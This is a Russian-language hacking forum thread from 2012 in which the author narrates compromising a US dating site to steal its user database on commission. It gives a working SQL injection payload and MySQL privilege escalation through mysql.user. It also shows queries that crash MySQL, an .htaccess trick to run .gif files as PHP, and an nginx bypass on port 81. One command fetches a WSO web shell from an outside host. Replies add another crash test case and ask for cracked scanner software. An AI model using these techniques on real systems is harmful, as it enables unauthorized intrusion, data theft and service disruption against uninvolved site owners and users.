PDA

Просмотр полной версии : От дорка до рута 2


Pirotexnik
10.04.2012, 05:51
INTRO

Доброго времени суток!

По немногочисленным просьбам решил написать ешё 1 статью/роман_хакреа/рассказ. Причина этому - накопившиеся в голове проблеммы и их решения, с которыми может столкнутся каждый.

Сразу предупреждаю, что ничего критически нового тут нету, и если вы гуру, то вы врядли найдете сдесь что-то новое. Т.К. эта статья написана для таких же как и я сам. Для тех, кто учится.

БЛАГОДАРНОСТИ

BigBear - за все

Га-Ноцри - дедик

НАХТАЧЕК - хинты

nikp - финт ушами с мускулом

Пожалуй, погнали!

СКУЛЬ

Жертвой был какой-то американский дейтинг. Заказ - как обычно - бд с юзаками.

Все как обычно, кинул в акунетикс, и сам пошел искать ручками. В этот раз я опередил софт, и нашел что-то странное. Как оказалось позднее, скуль была в ордере. Как юнионовская она не крутилась, хавидж начал крутить как time based (что не удивительно, т.к. у него на меня вообще аллергия ), и крутить пришлось ручками.

Вывод ошибки был, ну и понятно я попытался раскрутить как error based. Вышло вот что:


id=(1)and(1=1)/**/(select/**/1/**/from(select/**/count(*),concat((select/**/(select/**/database())/**/from/**/information_schema.tables/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/1=1/**/--/**/

Удивляло больше всего меня то, что конструкция and 1=1 помогала только при использование ДВАЖДЫ! Почему я так и не выяснил...

Мне повезло, у моего юзера была возможность читать mysql.user, но file_priv был N. Спустя пару запросов, я извлек юзера с кривыми правами (чтение\запись по всей бд) и host=%

Ближайший wso -> SQL -> connect -> УРА! Я внутри.

Писать файлы я не мог, но мог редактировать mysql.user, что доставляло не мение. Я создал себе юзера, примитивным insert, с доступом откуда угодно, и полными правами. Но тут был облом... Зайти под ним я не мог, для этого требоволось применить изменения в силу. На команду


FLUSH PRIVILEGES;


прав не было, а сервер не перезагружался месяцами. И тут появился товарищь nikp и сказал:

!ПОЛЕЗНЯШКА НОМЕР РАС!


l1ght
находил такой способ

select 1 from table procedure analyse ((select 1 from (select 1)a),1);

mysql крашится от этого запроса


Мускул упал, и через 2 минуты самостоятельно ребутнулся. Ещё через 5-7 секунд у меня были рут права

ШЕЛЛ

Наверное больше всего гемора доставила заливка шелла.

Писать я мог, но незнал куда. Почитав ЭТО (https://antichat.live/threads/324564/) в пару запросов я извлек конфиг апача, ну а из него и путь. Но дало мне это не много, так как папка с правами 777 была одна, и в ней нельзя было запускать ничего как php.

Ясное дело, после минуты раздумий я решил написать свой .htaccess (с блэк-джэком и шлюхами) в котором банально запускал бы .gif как php.

Сказано - сделано, но опять облом. Обычный перенос строки превращался в "/".

!ПОЛЕЗНЯШКА НОМЕР ДВАС!


в качестве переноса строки нужно использовать
\r
select "
test
\r
test2
" into outfile
'/путь/1.txt'

cat 1.txt
test
test2

если использовать
\n
то получится:

cat 2.txt
test\
test2



Записал в него я следубщее:


Меня иногда выручала подобная конструкция:

php_flag engine on(либо php engine on)

AddType application/x-httpd-php.phtml.jpg.html

AddHandler application/x-httpd-php.phtml.jpg.html




Так, .htaccess записан, но не работает. Тупо игнорируется. Я перепробывал все варианты, подпапки с правами записи заканчивались, а мускулом файлы удалять нельзя, что делать я не знал...

После пачки мальборо и 3 чашек какого-то кофе, какого не в курсе, мама принесла , я забил на это дело и решил как тру-гуру юзать низкоуровневые атаки на порт. Открыл nmap, воткнул IP, просканил... и... фак май моск!!!


nginx - 80
apache -81


Понятное дело нгиникс плевал на мои .htaccess, т.к. эта фича чисто апачевская. Любимая опера понятно обращалась по 80 порту, и ответ мне выдавал нгиникс. Я попробывал следующее:

!ПОЛЕЗНЯШКА НОМЕР ТРИС!

target.com:81

Сайт загрузился отлично.

target.com:81/uploads/1/asd.gif

И о чудо, вывелось ранее записаное мной в эту "картинку" echo. И phpinfo() тоже кстате вывелось

target.com:81/wtf2.gif?a=copy("http://www.myserser.com/wso.txt","/home/target/public_html/uploads/1/wso.gif");

Вобщем, все сработало. Я зашел в шелл.

ШЕЛЛ

Первым делом я глянул на ядро


Linux target 2.6.34.7-0.7-default #1 SMP 2010-12-13 11:13:53 +0100 x86_64


2010 год, вроде нормально. Бинд порт не сработал, тогда я отжал дедик, и зацепился бэк-коннектом. Но увы... Уже 10 сплоитов не помогли... Стоит там openSUSE 11.3 которя не хочет рутатся, не в какую... увы...

Так что, если есть какие идеи по руту - мое пм открыто

Подробнее о проблемме тут (https://antichat.live/showpost.php/p/3101146/postcount/314/)

Вот собственно и все. Оранжевым выделенны моменты, которые стоит запомнить, или записать.

Всем спасибо, критика уместна.

Pirotexnik

mironich
10.04.2012, 06:08
низкоуровневые атаки на порт.


что это???

Про добавления юзверя интересно, не когда не задумывался, мб потомучто не занимаюсь этим.

Pirotexnik
10.04.2012, 06:18
Это metasploit и подобное.

Добавление юзера тупо руками. Insert.

Mr.Wekly
10.04.2012, 10:40
ОФФТОПИК сорри

Можно ссылку на крякнутый акунетикс. Заранее благодарен.

Mobile
10.04.2012, 16:29
Убедительная просьба, соблюдайте правила, не пишем бессмысленных постов, не оффтопим, не надо оценивать статью в посте, для этого есть "репутация".

Pirotexnik
10.04.2012, 16:52
Tigger, от дорка до рута - потому что продолжение, ну рут получить я собираюсь

Сплоитов перепробовал уйму.

А нащет портов - так дело не дошло просто

shell_c0de
10.04.2012, 17:38
Pirotexnik взорвал мой мозг)

Ближайший wso -> SQL -> connect -> УРА! Я внутри.

а это обязательно ближайшего соседа надо выбрать или на прямую тоже можно ? )

Pirotexnik
10.04.2012, 17:43
Фиксер, я имелл ввиду любой шелл взял Ближайший, что был под рукой, а не к хосту ближайщий.

asiaman
10.04.2012, 19:35
Статья не идеальна. Но очень хорошая. Автору респект.

Например, запрос на крэш мускуля я не знал. Да и про связку backend тоже.

От разных там гуру слышать вопросы, мол, там "низкоуровневое ... что такое". Смешно. Ладно бы новички спрашивали и им не понятно было. В общем ТС не воспринимай сильно близко критику.

Pirotexnik
10.04.2012, 20:05
Нет, разные гуру как-раз меня этому и научили. Просто подавляющее большинство используют то, что для нас ново и интересно как бытовую обыденность. Поэтому для того-же shell_c0de эта статья то же самое, что для нас утром проснутся Но действительно знающие люди забывают, что тоже когда-то этого не знали. Отсюда и недопонимания. Кто-то напишет "Спасибо много нового", потому, что ещё не разу не рутал, кто-то напишет "Ну и что тут нового? Это стандартные действия... ТС - лох!", потому, что за спиной 5-10 лет хека...

Впринципе, я и сам злюсь, когда ко мне приходят сообщения типа "Как взломать сайт", хотя год назад я сам такое писал С опытом начинаешь считать приметивной обыденостью то, что узнал недавно.

p.s. за синтаксис извиняйте, пойду я спать кароче

t3cHn0iD
10.04.2012, 20:10
роман_хакреа
Зайти под ним я не мог, для этого
требоволось
применить изменения в силу.
И тут появился
товарищь
nikp
!ПОЛЕЗНЯШКА НОМЕР
РАС
!
Записал в него я
следубщее
:
И phpinfo() тоже
кстате
вывелось
которя
не хочет рутатся,
не в какую


Мда.С таким знанием русского языка я бы сначала *****вал в учебники или ты укуренный настолько, что мозг не может воспроизводить слова грамотно, а руки печатают херню ?

Хотя тут дохера кто допускает грамматические ошибки, но эти цеплялись в глаза сразу, поэтому статью читать было блевотно.

Pirotexnik
10.04.2012, 20:31
Время написания посмотри После суток уже шкалит мозг, и руки пишут херню...

Кстати, некоторые якобы ошибки - это стилистическое оформление.

"РАС", "роман_хакера"

Osstudio
10.04.2012, 21:05
аля ДневничОк кул хакИра удался

Pirotexnik
10.04.2012, 21:06
Я много полезного тут написал, ты сам про краш мускула не знал, уеба)

sasha.seven
14.04.2012, 16:43
Все просто и понятно, вот только рута я так понял, ты и на данный момент не получил ?

Ereee
14.04.2012, 17:34
Круто. Спасибо. Многому научился!

stfox
14.04.2012, 17:58
Понятное дело нгиникс плевал на мои .htaccess, т.к. эта фича чисто апачевская. Любимая опера понятно обращалась по 80 порту, и ответ мне выдавал нгиникс.


вводите в заблуждение, а данной конфигурации, Nginx работает как проксирующий сервер, но здесь было исключение именно на эту папку. Nginx не "плюет" на htacess, он передает выполенние апачу, но в данном случае, у вас стояло правило для конкретной папки.

Pro100nyb
16.04.2012, 00:50
И снова мне пришла по вкусу твоя "статья", продолжай в том же духе

Pirotexnik
16.04.2012, 12:41
stfox, хмм, спасибо!

Mobile
16.04.2012, 13:13
Предеупреждение

Господа хорошие! Все ваши посты типа "Круто. Спасибо. Многому научился!", "И снова мне пришла по вкусу твоя "статья", продолжай в том же духе" итп...

Это все нарушение правил, фактически вы себе такими сообщениями набиваете количество постов. Прошу потереть подобные посты и в дальнейшем чтоб такого не было. Пишем только по теме. В случае игнорирования данного предупреждения - бан от одного дня.

Данный пост не надо комментировать и тут обсуждать.

BigBear
25.04.2012, 11:23
l1ght находил такой способ
select 1 from table procedure analyse ((select 1 from (select 1)a),1);


Вот тебе ещё полезняшка

Мускул также падает вот от этого запроса


#
# Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
#

-- source include/have_innodb.inc

CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;

INSERT INTO bug13510739 VALUES (1), (2), (3), (4);

DELETE FROM bug13510739 WHERE c=2;

HANDLER bug13510739 OPEN;

HANDLER bug13510739 READ `primary` = (2);

# this one crashes the server IF the bug IS present
HANDLER bug13510739 READ `primary` NEXT;

DROP TABLE bug13510739;

Решил запостить здесь, вроде как в тему.

BLurpi^_^
26.04.2012, 16:51
Вот тебе ещё полезняшка
Мускул также падает вот от этого запроса

#
# Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
#

-- source include/have_innodb.inc

CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;

INSERT INTO bug13510739 VALUES (1), (2), (3), (4);

DELETE FROM bug13510739 WHERE c=2;

HANDLER bug13510739 OPEN;

HANDLER bug13510739 READ `primary` = (2);

# this one crashes the server IF the bug IS present
HANDLER bug13510739 READ `primary` NEXT;

DROP TABLE bug13510739;

Решил запостить здесь, вроде как в тему.


но insert из под веба же ты не выполнишь

Pirotexnik
27.04.2012, 02:22
BLurpi^_^, да, но иногда полезно, когда есть, например, юзер с доступом с любого Ip.